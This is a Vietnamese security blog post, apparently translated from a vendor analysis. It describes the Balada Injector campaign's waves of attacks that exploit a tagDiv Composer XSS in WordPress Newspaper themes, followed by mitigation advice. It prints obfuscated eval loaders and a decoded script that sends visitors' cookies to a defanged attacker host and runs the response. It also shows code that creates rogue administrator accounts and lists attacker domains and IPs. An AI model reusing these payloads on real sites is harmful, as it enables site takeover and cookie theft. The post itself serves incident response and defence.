Vào giữa tháng 9 năm 2023, các nguồn tư vấn về lỗ hổng bảo mật đã tiết lộ thông tin chi tiết về Lỗ hổng XSS được lưu trữ trong tagDiv Composer (một plugin trình tạo trang hoạt động với các theme premium của tagDiv là Newspaper và Newsmag). Ngay sau đó, chúng tôi bắt đầu nhận thấy làn sóng tấn công mới của việc chèn nhiễm mã độc Balada vào các trang web đang sử dụng theme từ tagDiv.
Đây không phải là lần đầu tiên nhóm Balada Injector nhắm vào các lỗ hổng trong các theme của tagDiv. Một trong những đợt lây nhiễm phần mềm độc hại quy mô lớn sớm nhất mà chúng tôi có thể cho là liên quan đến chiến dịch này đã diễn ra vào mùa hè năm 2017, trong đó các lỗi bảo mật đã được phát hiện trong các theme WordPress như Newspaper và Newsmag đã bị lạm dụng một cách thường xuyên. Vào thời điểm đó, tagDiv đã báo cáo có hơn 40.000 người dùng trả phí (cộng với nhiều người dùng theme null, crack, không chính thống). Đến năm 2023, tagDiv tuyên bố có hơn 135.000 người dùng theme Newspaper bị tấn công.
Trong bài đăng này, chúng tôi sẽ xem xét các đợt tấn công lớn mới nhất của chiến dịch Balada Injector đang diễn ra này. Chúng tôi cũng sẽ đi sâu vào chi tiết kỹ thuật của các tập lệnh được chèn vào trong mỗi đợt, tìm hiểu khả năng của chúng và những mối nguy hiểm tiềm ẩn mà chúng gây ra cho quản trị viên trang web. Chúng ta cũng sẽ thảo luận về cách nhóm hacker Balada Injector duy trì quyền kiểm soát các trang web bị xâm nhập và các chiến thuật ngày càng tinh vi của chúng.
#
#Phát hiện việc khai thác lỗ hổng tagDiv Composer
Dấu hiệu rõ ràng về việc khai thác lỗ hổng XSS mới được công bố gần đây trong tagDiv Composer là một tập lệnh độc hại được tìm thấy bên trong các thẻ này
<style id="tdw-css-placeholder"></style><script>...malicious injection…</script><style></style>
Có thể tìm thấy chính nội dung mã độc bị chèn trong tùy chọn “td_live_css_local_storage” trong wp_options của database website WordPress.
Phần 1: stay.decentralappps[.]com injections
Làn sóng tấn công đầu tiên của nhóm hacker Balada Injector tới các người dùng sử dụng theme Newspaper là chèn đoạn mã độc sau vào website WordPress.
<style id="tdw-css-placeholder"></style><script>var iz=String;eval(iz.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,
… skipped … ,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));</script><style></style>
Biến thể thứ hai của mã độc trên bắt đầu bằng:
<style id="tdw-css-placeholder"></style> <script id='first_time_ch'>var iz=String;var iz2=iz['fromCharCode'](118,97,114,32,...
Cả hai lần chèn mã độc đều tải tập lệnh bên ngoài từ hxxps://stay.decentralappps[.]com/src/page.js Tại tại thời điểm này, biến thể đầu tiên của việc chèn này được PublicWWW phát hiện trên trên 4.000 trang web và biến thể thứ hai trên Hơn 1.000 trang web.
Phát hiện dấu hiệu tấn công trong log website
Trong nhật ký (log) của các trang web bị xâm nhập, chúng tôi luôn tìm thấy POST request tới /wp-json/tdw /save_css
từ các IP như 185.39.206.149, 91.191.151.43, 148.113.4.34, 92.205.27.126
, v.v. Sử dụng chuỗi User-Agent khá lỗi thời này:
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Cách tấn công khác ngoài việc chèn tập lệnh mã độc
Lỗ hổng bị khai thác chỉ cho phép kẻ tấn công chèn mã độc vào tùy chọn td_live_css_local_storage
trong database WordPress để nó lan truyền đến mọi trang công khai của trang web bị xâm nhập. Mặc dù đây là mục tiêu cuối cùng của chiến dịch tấn công này, nhưng các hacker không bao giờ hài lòng với việc tấn công nhỏ giọt này. Không có gì đảm bảo rằng họ sẽ có thể tiếp tục khai thác các trang web bị xâm nhập sau khi lỗ hổng ban đầu được vá.
Các hacker Balada Injector luôn nhắm đến việc tấn công và kiểm soát liên tục các trang web bị xâm nhập bằng cách tải lên các backdoor, thêm plugin độc hại và tạo quản trị viên blog lừa đảo. Trong trường hợp này, lỗ hổng bảo mật không cho phép họ dễ dàng đạt được mục tiêu này. Tuy nhiên, điều này không bao giờ ngăn được Balada cố gắng chiếm lấy hoàn toàn các trang web đang tồn tại lỗ hổng XSS
Balada từ lâu đã nổi tiếng với việc chèn các tập lệnh độc hại nhắm vào các quản trị viên trang web đã đăng nhập. Ý đồ của họ là khi quản trị viên blog đăng nhập vào một trang web, trình duyệt của họ chứa các cookie cho phép họ thực hiện tất cả các tác vụ quản trị mà không cần phải xác thực trên mỗi trang mới. Vì vậy, nếu trình duyệt của họ tải một tập lệnh cố gắng mô phỏng hoạt động của quản trị viên, nó sẽ có thể thực hiện hầu hết mọi thứ có thể thực hiện được thông qua giao diện quản trị viên WordPress.
Trong lịch sử, Balada đã sử dụng phương pháp này để tạo ra những người dùng quản trị viên WordPress lừa đảo. Đợt tấn công mới nhất này cũng không khác. Tuy nhiên, lần này chúng tôi đã quan sát thấy sự phát triển nhanh chóng của các tập lệnh nhắm mục tiêu vào quản trị viên WordPress.
Phần 2: Các người dùng WordPress được tạo đự động
Lần phát hiện đầu tiên của tập lệnh stay.decentralappps[.]com/src/page.js
đã tạo ra một người dùng độc hại với user_login=greeceman and user_email=greeceman@mail.com
. Điều này ban đầu được ghi lại trên greeceman@mail.com
và user_email=greeceman
. Điều này ban đầu được phát hiện và công bố trên GeoEdge blog.
Tên người dùng greeceman này giống nhau cho mọi miền bị xâm nhập, vì vậy bạn có thể dễ dàng tìm thấy nhiều trang web chứa quản trị viên độc hại này bằng cách sử dụng truy vấn Google sau đây : [greeceman inurl:author]. Phân tích nhanh kết quả tìm kiếm cho thấy các trang web có sử dụng theme Newspaper và nhiều trang trong số đó vẫn bị nhiễm phần mềm độc hại Balada.
Tuy nhiên, một vài ngày sau, tập lệnh page.js đã thay đổi. Và lần này, tên người dùng và email của quản trị viên lừa đảo đã được tạo tự động để khiến chúng trở nên độc đáo hơn (có thể là một thủ đoạn lẩn tránh).
Đây là mã liên quan từ phần mềm độc hại đã được giải mã:
var uu=window.location.hostname.replace("www.","").replace(".","u").substring(0,4)+"mann";
…
var nonce = nonceMatch[1];
var pp=makeid(12)+"@";var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login="+uu+"&email="+uu+"@mail.com&pass1="+pp+"&pass2="+pp+"&role=administrator";
Như bạn có thể thấy, vẫn có một mẫu trong tên người dùng và email được tạo. Chúng được xây dựng bằng cách thêm 4 ký tự đầu tiên của tên hostname của trang web bị nhiễm (không có phần “www.” và tất cả các dấu chấm được thay thế bằng ký tự “u”) tới từ “mann”, email của người dùng có cùng tên username @mail.com
Hãy minh họa điều này một chút với ba ví dụ sau:
- Nếu tên máy chủ của trang web bị xâm phạm là
www.example.com
hoặc example.com
thì cặp tên người dùng/email được tạo sẽ là: Exammann/exammann@mail.com.
- Đối với blog.example.com, quản trị viên độc hại sẽ là:
blogmann/blogmann@mail.com
- Đối với miền giả định ab.xy, quản trị viên độc hại sẽ là:
abuxmann/abuxmann@mail.com
Trong mọi trường hợp, mật khẩu của những quản trị viên độc hại này được tạo ngẫu nhiên cho mỗi trang web để bất kỳ ai khác không thể dễ dàng lạm dụng chúng ngoại trừ những người vận hành Balada Injector. Những kẻ tấn công lấy được mật khẩu thông qua Ajax POST request tới stock.decentralappps[.]com/dest.php?z=z mà tập lệnh độc hại thực thi sau khi tạo thành công người dùng.
Cùng với mật khẩu quản trị viên, yêu cầu đăng bài này sẽ gửi tên máy chủ của trang web bị nhiễm để kẻ tấn công có thể biên soạn tập dữ liệu về các miền và thông tin đăng nhập bị xâm phạm của những người dùng quản trị viên độc hại mới được tạo. Tập dữ liệu này sau đó được sử dụng để tự động tái nhiễm các trang web hoặc để cài đặt các cửa hậu ở đó.
Phần 3: Backdoor trong file 404.php của theme Newspaper
Ngay sau biến thể “xxxxmann” mới, tập lệnh stay.decentralappps[.]com/src/page.js
lại thay đổi. Nó được tái sử dụng để tạo một cửa hậu backdoor trong file 404.php
của theme Newspaper.
Tại đây, bạn có thể thấy một đoạn tập lệnh được giải mã minh họa cách nó sử dụng trình chỉnh sửa chủ đề riêng của WordPress và nhắm mục tiêu cụ thể vào theme Newspaper chứ không phải các theme khác đã được cài đặt.
/wp-admin/theme-editor.php?file=404.php&theme=Newspaper … &action=edit-theme-plugin-file&file=404.php&theme=Newspaper
Điều này hợp lý vì những kẻ tấn công biết rằng tập lệnh stay.decentralappps[.]com/src/page.js
chỉ được đưa vào các trang web có cài đặt theme Newspaper.
Dưới đây là ví dụ về hình thức của tệp 404.php bị nhiễm trên một trang web bị xâm nhập:
Và đây là mã backdoor được giải mã từ 404.php:
Backdoor này lưu mã PHP độc hại được cung cấp trong tham số POST “ii” vào tệp “i” trong thư mục tạm thời của máy chủ, sau đó thực thi mã đó bằng cách đưa mã đó vào mã cửa sau. Sau đó, tệp “i” tạm thời sẽ bị xóa ngay lập tức sau khi thực thi để ẩn dấu vết.
Hacker không cần phải truy cập trực tiếp vào tệp 404.php của theme để sử dụng backdoor (điều này có thể bị firewall phát hiện). Thay vào đó, họ có thể chỉ cần gửi request POST tới một URL không tồn tại tùy ý. Vì vậy, bất kỳ request POST nào có mã phản hồi 404 mà bạn thấy trong nhật ký truy cập đều có thể là dấu hiệu của việc thực thi backdoor thành công.
Sau khi backdoor được cài thành công vào tệp 404.php, thông báo sẽ được báo cáo lại cho phía hacker Balada Injector thông qua lệnh gọi tới stock.decentralappps[.]com/dest.php?d1=<window.location.hostname>
để thông báo cho họ rằng một backdoor trên trang web cụ thể đó đã sẵn sàng để sử dụng.
Phần 4: Cài đặt plugin wp-zexit độc hại
Vài ngày sau đó, khoảng ngày 17-18 tháng 9 năm 2023, tập lệnh stay.decentralappps[.]com/src/page.js
vẫn chứa mã để đưa cửa sau vào tệp 404.php nhưng không thể thực thi được nữa.
return; được đặt ngay trước đó như sau:
… eval(/*2*/l2);return;eval(_0x2fef6b);...
Và thay vì nhánh _0x2fef6b
(chịu trách nhiệm về việc lây nhiễm 404.php), một nhánh l2 mới đã được thực thi. Nhánh l2 này chịu trách nhiệm cài đặt plugin wp-zexit độc hại.
Đây là một trong những kiểu tấn công phức tạp nhất được thực hiện bởi tập lệnh stay.decentralappps[.]com/src/page.js
. Để bắt chước tất cả các bước cần thiết để quản trị viên WordPress cài đặt plugin từ tệp .zip và kích hoạt nó, mã sẽ thực thi 8 request Ajax khác nhau trong khi quản trị viên trang web đăng nhập thực sự duyệt trang web của họ.
Chuỗi yêu cầu bắt đầu bằng /wp-admin/plugin-install.php
để bắt chước việc mở trang cài đặt plugin và kết thúc bằng stock.decentralappps[.]com/best.php?d3=<window.location.origin>
để báo cáo một cài đặt thành công vào máy chủ C2.
Để tải tệp zip lên từ máy chủ từ xa thay vì máy tính cục bộ, mã này sử dụng FileReader API, nơi nó gửi phản hồi từ URL do kẻ tấn công kiểm soát hxxps://stock.decentralappps[.]com/best.php?f =f
là nội dung của tệp được tải lên.
Để tránh cài đặt nhiều lần cùng một plugin wp-zexit, mã độc sẽ kiểm tra xem trang web đã cài đặt plugin này chưa. Thật vậy, khi kiểm tra nhật ký của các trang web bị nhiễm, bạn sẽ thấy nhiều lệnh gọi đến trang wp-admin/plugin-install.php khi quản trị viên trang web duyệt các trang web — nhưng chỉ lệnh gọi đầu tiên mới thực sự tiến hành cài đặt plugin.
Yêu cầu cài đặt plugin thành công có thể được xác định trong nhật ký nếu bạn tìm kiếm “/wp-admin/plugins.php?action=activate&plugin=wp-zexit%2Fwp-zexit.php&plugin_status=all”.
Sau khi plugin độc hại được cài đặt thành công, bạn sẽ tìm thấy đoạn mã sau trong tệp /wp-content/plugins/wp-zexit/wp-zexit.php:
Hành vi của plugin WP-zexit
Plugin này có hai chức năng báo cáo sự hiện diện của nó thông qua giao diện WordPress Ajax (/wp-admin/admin-ajax.php). Lệnh zexit_adm cũng có thể được sử dụng để xác minh rằng người dùng hiện tại có thể “quản lý các tùy chọn” – đó là một cách khác để thông báo cho những kẻ tấn công rằng quản trị viên đang thực thi tập lệnh. Phản hồi cho lệnh này được kiểm tra bằng mã độc sau đây để ngăn việc cài đặt định kỳ của cùng một plugin:
Chức năng chính của plugin có thể được tìm thấy trong hàm zexit_init(). Đó chính là backdoor mà chúng ta đã thấy trong tệp 404.php bị nhiễm.
Để ẩn sự hiện diện của plugin này trong giao diện quản trị viên WordPress, mã này thêm một trình xử lý cho hành động pre_current_active_plugins nhằm loại bỏ wp-zexit khỏi danh sách các plugin hiển thị. Chúng tôi thường xuyên tìm thấy mã tương tự trong nhiều plugin giả mạo do Balada Injector cài đặt và một số chiến dịch phần mềm độc hại khác.
Phần 5: Ba tên miền mới của nhóm hacker Balada Injector
Vào ngày 21 tháng 9 năm 2023, nhóm hacker Balada Injector đã đăng ký ba tên miền mới trong khoảng thời gian 7 giây:
- statisticscripts[.]com
- dataofpages[.]com
- listwithstats[.]com
Vài giờ sau, họ bắt đầu một đợt lây nhiễm phần mềm độc hại khác bằng cách sử dụng cùng lỗ hổng tagDiv Composer trong chủ đề Báo.
Nhưng lần này, những kẻ tấn công quyết định ngẫu nhiên hóa mọi khía cạnh của cuộc tấn công, từ các tập lệnh được chèn vào đến các URL độc hại và mã mà chúng đã tải.
Mã độc được chèn ngẫu nhiên vào tdw-css-placeholder
Vị trí chèn mã độc không thay đổi trong phần 5 — phần mềm độc hại vẫn được chèn vào bên trong các thẻ này:
<style id="tdw-css-placeholder"></style><script>...malicious injection…</script><style></style>
Và nó vẫn có thể được tìm thấy trong tùy chọn td_live_css_local_storage trong database của website WordPress. Tuy nhiên, mã được chèn thực tế hiện nay đã khác nhau đối với từng trang web bị nhiễm.
Một ví dụ về mã được chèn từ môi trường bị xâm nhập trông như thế này:
Kiểu chèn mã độc cụ thể này hiện được PublicWWW phát hiện trên 484 trang web.
#
#Các tập lệnh độc hại được phân phát từ nhiều tên miền phụ
Ngoài việc chèn mã độc ngẫu nhiên, các tập lệnh được giải mã hiện còn cố gắng tải phần mềm độc hại tiếp theo từ các URL khác nhau trên nhiều tên miền phụ khác nhau của ba tên miền Balada mới.
Ví dụ:
- first.dataofpages[.]com/stats/step.js
- cdn.dataofpages[.]com/assets/post.js
- one.dataofpages[.]com/assets/post.js
- cdn.statisticscripts[.]com/assets/step.js
- js.statisticscripts[.]com/stats/post.js
- assets.statisticscripts[.]com/sources/start.js
- post.listwithstats[.]com/assets/get.js
- page.listwithstats[.]com/sources/cdn.js
- new.listwithstats[.]com/assets/post.js
- ….
Các tập lệnh được tải từ các URL này trông khác với các đợt trước — và đôi khi có thể được tìm thấy bị hoán đổi cho các tập lệnh khác vào ngày hôm sau.
Trong hầu hết các trường hợp, chúng tôi nhận thấy các tập lệnh lớn bị xáo trộn (đôi khi dài tới vài trăm kilobyte). Sau khi giải mã, tất cả chúng đều chứa cùng một mã quen thuộc (khá ngắn) tấn công quản trị viên của các trang web bị nhiễm và cố gắng cài đặt plugin wp-zexit độc hại.
Phần 6: Tên miền promsmotion[.]com
Đợt tấn công tiếp theo của nhóm hacker Balada bắt đầu vào ngày 29 tháng 9 năm 2023. Nó liên quan đến một số tập lệnh khác nhau tải phần mềm độc hại từ miền phụ của promsmotion[.]com. Trong làn sóng tấn công mới nhất này, chúng ta chủ yếu thấy ba loại nội dung chèn riêng biệt tận dụng các loại kỹ thuật che giấu khác nhau.
Lần chèn tập lệnh mã độc đầu tiên là sự xáo trộn mã char Balada Injector điển hình được thấy trong những năm gần đây. Tại thời điểm viết bài, nó hiện được phát hiện trên 92 trang web.
var en3=/*1*/String['from'+'Char'+'Code'](/*2*/102,117,110,99,116,105,111,110,32,99,99,99,99,40,115,114,99,41,10,123,10…skipped…,10,125);/*_0x1bf7*/eval(en3);
Nội dung này thường có thể được tìm thấy ở phần đầu của các tệp .js như:
- /wp-includes/js/jquery/jquery-migrate.min.js
- /wp-includes/js/jquery/jquery.min.js
- /wp-includes/js/wp-emoji-release.min.js.
Loại chèn thứ hai có thể được tìm thấy ở các vị trí tương tự, nhưng nó lớn hơn một chút (khoảng 8 Kbyte) và sử dụng kiểu che giấu Obfuscator.io. Việc tiêm thuốc này được phát hiện trên 76 website.
function _0x5345(){var _0x18bdde=['select_trace','currentScript','204534XMqqPb','head','928NMwdhD',
…skipped…
return Boolean(document[_0x4c793f(0x180)]('script[id="select_trace"]'));}var script=document[_0x4145f8(0x17a)]('script'),co=atob(_0x4145f8(0x176));script['innerHTML']=co,script['id']=_0x4145f8(0x185);cccc()==![]&&(document[_0x4145f8(0x186)]?document[_0x4145f8(0x186)][_0x4145f8(0x183)][_0x4145f8(0x17f)](script,document[_0x4145f8(0x186)]):document['getElementsByTagName'](_0x4145f8(0x188))[0x0]['appendChild'](script));/*_0x1bf7*/
Kiểu chèn thứ ba cũng dựa trên thư viện Obfuscator.io nhưng nó lớn hơn đáng kể so với hai kiểu trước – dài gần 80 Kbyte. Nó có thể được tìm thấy ở đầu trang WordPress và phản hồi lỗi 404. PublicWWW phát hiện biến thể này trên 67 trang web.
<script type='text/javascript'>(function(_0x1c6f70,_0x55c073){function _0x2654e0(_0x1eba9b,_0x2d3d60,_0x1d9239,_0x3f6f52,_0x4187cd)
…skipped 70+ Kbytes of code …
(script,document[_0x118979('kWNk',0x9ce,0x776,0x8d3,0x9ae)+_0x16c6a7(0x244,0x1a3,0x11a,'t!U^',-0x7f)+_0x3bc47c(0x46f,0x38d,0x4ce,'oso8',0x6cf)]));</script><!doctype html >
Bất chấp sự khác biệt về kỹ thuật làm rối mã nguồn và độ dài tập lệnh, mã được giải mã nguồn cho cả ba lần chèn này đều rất ngắn và gần như giống nhau:
var requestURL = "hxxps://get.promsmotion[.]com/fill";
var pars="d="+window.location.hostname+"&c="+btoa(encodeURIComponent(document.cookie));
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, false);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(pars);
if(ajaxRequest.responseText.indexOf("ytruytityieter-") !== -1){
const myArray = ajaxRequest.responseText.split("ytruytityieter-");
var io = myArray[1];
eval(io);
}
Biến thể chính trong mã là requestURL. Nó có thể là hxxps://net.promsmotion[.]com/set hoặc hxxps://get.promsmotion[.]com/fill.
Tập lệnh này sẽ gửi cookie của khách truy cập đến URL đó và nếu giá trị cookie đáp ứng các điều kiện nhất định thì sẽ có một số mã JavaScript thực thi trong phản hồi.
Tất cả ba loại nội dung promsmotion này chủ yếu có thể được tìm thấy trên các trang web sử dụng theme Newspaper, thường cùng với các phần mềm độc hại Balada khác mà chúng tôi đã mô tả trong bài viết này. Vị trí của chúng trong các tệp của các trang web bị xâm nhập cho thấy rõ ràng rằng lần này thay vì sử dụng lỗ hổng tagDiv Composer, những kẻ tấn công đã lợi dụng backdoor và người dùng quản trị viên độc hại đã được cài đặt sau các cuộc tấn công thành công nhằm vào quản trị viên trang web.
Tại thời điểm viết bài hiện tại, SiteCheck của Sucuri phát hiện mã độc promsmotion trên tổng số 560 trang web.
Cơ sở hạ tầng Balada Injector: tháng 9 năm 2023
Dưới đây là các miền và địa chỉ IP Balada Injector chính được phát hiện trong tháng 9 năm 2023 — một số trong số đó cũng được sử dụng trong các cuộc tấn công không liên quan trực tiếp đến theme Newspaper.
Các tên miền của Balada Injector:
- decentralappps[.]com
- statisticscripts[.]com
- dataofpages[.]com
- listwithstats[.]com
- promsmotion[.]com
- stablelightway[.]com
- specialtaskevents[.]com
- getmygateway[.]com
- stratosbody[.]com
- specialnewspaper[.]com
Trong một khoảng thời gian ngắn, Balada Injector đã giấu một số máy chủ của họ sau tường lửa CloudFlare, nhưng miền của họ không tồn tại được lâu ở đó. Họ chắc chắn phải quay lại trỏ miền trực tiếp về máy chủ của họ.
Các IP máy chủ của Balada Injector:
- 2.59.222.113
- 2.59.222.119
- 2.59.222.121
- - 2.59.222.122
2.59.222.158
- 185.39.206.158
- 185.39.206.159
- 185.39.206.160
- 185.39.206.161
- 80.66.79.252
- 80.66.79.253
- 88.151.192.253
- 88.151.192.254
- 89.23.103.32
- 89.23.103.246
Cách giảm thiểu sự tấn công
Chúng tôi đã quan sát thấy một chu kỳ sửa đổi nhanh chóng đối với các tập lệnh được chèn của họ cùng với các kỹ thuật và phương pháp tiếp cận mới. Chúng tôi đã thấy các kiểu xâm nhập và làm xáo trộn ngẫu nhiên, sử dụng đồng thời nhiều tên miền và tên miền phụ, lạm dụng CloudFlare và nhiều cách tiếp cận để tấn công quản trị viên của các trang web WordPress bị nhiễm độc.
Tháng 9 cũng là một tháng đầy thử thách đối với hàng nghìn người dùng theme tagDiv Newspaper. Chiến dịch phần mềm độc hại Balada Injector đã thực hiện một loạt cuộc tấn công nhắm vào cả lỗ hổng trong plugin tagDiv Composer và quản trị viên blog của các trang web đã bị nhiễm.
Lời khuyên của chúng tôi dành cho người dùng theme Newspaper là hãy làm theo các bước sau:
- 1. Không sử dụng, cài đặt các theme, plugin bị bẻ khóa bản quyền (crack, null) từ các nguồn không rõ nguồn gốc, không chính thống.
- 2. Quét trang web của bạn và xóa tất cả phần mềm độc hại Balada được tiêm vào. Trình quét SiteCheck phát hiện hầu hết các biến thể Balada Injector dưới dạng malware.injection?35.*. Nếu bạn tiếp tục thực hiện các bước sau trước khi xóa hoàn toàn phần mềm độc hại, nó có thể lây nhiễm lại trang web của bạn khi bạn đăng nhập với tư cách quản trị viên.
-- Loại bỏ những mã độc chèn ban đầu, có thể tìm thấy trong tùy chọn “td_live_css_local_storage” trong bảng wp_options.
-- Loại bỏ các nội dung chèn thứ cấp, có thể tìm thấy ở đầu tệp .js như /wp-includes/js/jquery/jquery-migrate.min.js, /wp-includes/js/jquery/jquery.min.js và /wp -includes/js/wp-emoji-release.min.js.
-- Kiểm tra các tệp như index.php, wp-blog-header.php và các tệp header.php và footer.php trong chủ đề của bạn để biết nội dung chèn. Loại bỏ bất kỳ mã độc hại nào bạn tìm thấy ở đó.
3. Đảm bảo rằng plugin tagDiv Composer được cập nhật, ít nhất là phiên bản 4.2. Điều này sẽ giúp ngăn ngừa tái nhiễm thông qua lỗ hổng bảo mật đã tồn tại.
4. Luôn cập nhật theme Newspaper của bạn với các bản cập nhật mới nhất. Chúng tôi đã thấy những nội dung chèn này trên các trang web sử dụng nhiều phiên bản khác nhau của theme Newspaper: 10.x, 11.x, 12.x. Một số đã cũ như phiên bản 8.x.
5. Đảm bảo tất cả các chủ đề và plugin khác đều được cập nhật. Đây là phương pháp bảo mật tốt nhất và sẽ giúp bảo vệ trang web của bạn khỏi các lỗ hổng và lỗi phần mềm đã tồn tại.
6. Xóa tất cả người dùng quản trị không mong muốn. Kiểm tra mọi quản trị viên được tạo gần đây, đặc biệt nếu tên người dùng của họ là “greeceman” hoặc kết thúc bằng “mann” và họ sử dụng email “@mail.com”.
7. Đảm bảo không có plugin không mong muốn nào như wp-zexit hoặc wp-swamp được cài đặt trên trang web của bạn. Hãy nhớ rằng, theo mặc định, các plugin như vậy sẽ ẩn trong giao diện quản trị viên WordPress, vì vậy hãy đảm bảo thực sự kiểm tra xem bạn có loại plugin nào trong thư mục wp-content/plugins.
8. Kiểm tra tệp 404.php của theme Newspaper. Có thể có một backdoor ở đó.
9. Quét toàn bộ trang web của bạn để tìm backdoor. Không có gì lạ khi Balada Injector và các cuộc tấn công khác sử dụng backdoor ban đầu để tải một số backdoor khác vào các tệp ngẫu nhiên.
Thay đổi tất cả mật khẩu trang web của bạn, bao gồm cả mật khẩu database. Balada Injector nổi tiếng với việc đánh cắp thông tin từ các tệp wp-config.php. Đảm bảo tất cả thông tin xác thực người dùng của bạn đều mạnh mẽ, duy nhất và an toàn để giúp ngăn ngừa tái nhiễm.
Bây giờ sau khi đọc cách giảm thiểu phần mềm độc hại trang web có thể nhắm mục tiêu vào quản trị viên WordPress để tăng cường một số thao tác chèn đoạn mã nhỏ vào toàn bộ trang web, hãy xem lại một số biện pháp bảo mật dành riêng cho quản trị viên WordPress.
-- Mặc dù quản trị viên WordPress có thể đăng bài, vui lòng chỉ sử dụng tài khoản quản trị viên của bạn cho các tác vụ quản trị. Thay vào đó, hãy sử dụng các vai trò thích hợp hơn như tác giả, cộng tác viên và biên tập viên để tạo, chỉnh sửa và đăng nội dung.
-- Nếu bạn đăng nhập với tư cách quản trị viên WordPress, hãy cố gắng không duyệt trang web của riêng bạn trong cùng một trình duyệt trước khi đăng xuất. Hacker Balada sử dụng kịch bản này để khiến quản trị viên trang web lây nhiễm thêm vào trang web của chính họ. Nếu bạn cần kiểm tra các trang trên trang web, hãy cân nhắc sử dụng một trình duyệt khác hoặc cửa sổ riêng tư/ẩn danh của cùng một trình duyệt, nơi bạn sẽ điều hướng mà không bị xác định là quản trị viên trang web.
-- Nếu bạn thường không chỉnh sửa tệp theme và plugin, vui lòng tắt trình chỉnh sửa chủ đề và plugin trong giao diện quản trị viên WordPress. Để thực hiện việc này, hãy thêm dòng sau vào tệp wp-config.php:
define('DISALLOW_FILE_EDIT', true);
Tùy chọn wp-config.php bên dưới này cũng có thể giúp ngăn chặn cả việc sử dụng trình chỉnh sửa tệp và trình cài đặt theme/plugin cũng như dừng cài đặt plugin không mong muốn thông qua các tập lệnh độc hại:
define( 'DISALLOW_FILE_MODS', true);
Tuy nhiên, cách này cũng sẽ chặn chức năng cập nhật theme/plugin — vì vậy chỉ sử dụng nó tạm thời khi bạn thực sự cần.
Trong trường hợp không thể update plugin, theme bạn hãy thực hiện như sau:
– Chặn từ .htaccess (apache, litespeed, openlitespeed)
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "curl/7.54.1|curl/7.68.0" [NC]
RewriteRule .* - [F,L]
– Chặn từ nginx
if ($http_user_agent ~ (curl/7.54.1|curl/7.68.0) ) {
return 403;
}